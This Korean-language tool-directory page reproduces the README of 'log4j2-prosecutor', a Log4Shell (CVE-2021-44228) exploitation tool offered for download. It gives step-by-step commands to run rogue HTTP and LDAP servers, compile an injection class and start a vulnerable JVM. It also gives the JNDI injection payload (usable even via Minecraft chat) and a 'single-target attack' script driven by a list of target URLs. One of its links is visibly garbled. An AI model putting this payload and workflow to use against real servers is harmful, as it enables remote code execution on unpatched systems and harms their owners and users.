Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
log4j2-prosecutor — CVE-2021-44228 | Kitploit
도구/GitHubGitHub/rodfer0x80/log4j2-prosecutor
Payload GenerationVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrodfer0x80/log4j2-prosecutor

log4j2-prosecutor

CVE-2021-44228

저장소 보기
4년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

log4j2-prosecutor

동기

이 기본적인 취약점은 [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149)에 의해 보고되었으며, [이 글 (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)에서 패치되었습니다.

그러나 log4j2라는 Java 로깅 라이브러리는 [JNDILookup](https://github.com/rodfer0x80/log4j2-prosecutor/blob/HEAD/CVE-2021-44228%5D(https:/github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java)을 가지고 있어 LDAP 같은 프로토콜에 접근을 허용했고, 이는 구버전 Java에서 코드 인젝션을 가능하게 했습니다.

패치된 Java 버전은 코드 인젝션을 막을 수 있지만, `JNDILookup`은 LDAP 서버에 요청을 보내므로 IP 누출로 이어질 수 있습니다.

해결 방법은 **Java**와 **log4j2** 버전을 업데이트하는 것입니다.

실행

  1. 요구 사항 설치
root@kitploit:~
cd http-server && npm install && cd ../ldap-server && npm install
  1. http-server와 ldap-server를 모두 실행
root@kitploit:~
cd http-server && node index.js &
cd ldap-server && node index.js
  1. Main.java 컴파일
root@kitploit:~
# 이는 Main.java를 생성합니다 - 코드 인젝션에 필요합니다.
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
  1. JVM을 파라미터와 함께 시작
root@kitploit:~
# 내부 테스트를 위해 저장소의 log4j-client를 계속 사용할 수 있습니다.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# 또는 다른 애플리케이션을 실행하십시오. 코드 인젝션을 위해 com.sun.jndi.ldap.object.trustURLCodebase=true가 필요하며, 그렇지 않으면 LDAP 서버에만 요청을 보냅니다.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
  1. 페이로드를 파라미터에 전송 (마인크래프트에서, 익스플로잇이 작동한다면 채팅만 해도 됩니다.)
root@kitploit:~
${jndi:ldap://127.0.0.1:3001/}
  1. 정리
root@kitploit:~
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

스크립트

root@kitploit:~
# 단일 대상 공격
# url과 params로 exploit-configs.txt를 편집하십시오.
cd scripts/single-pwn && python3 __main__.py

참고 자료

  • https://github.com/apache/logging-log4j2/pull/608
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/NCSC-NL/log4shell
  • https://github.com/ilsubyeega/log4j2-exploits/
  • https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
  • https://www.blumira.com/analysis-log4shell-local-trigger/ (할 일)

라이선스 [GPL3]

라이선스는 LICENSE 파일을 참조하세요.

도구 다운로드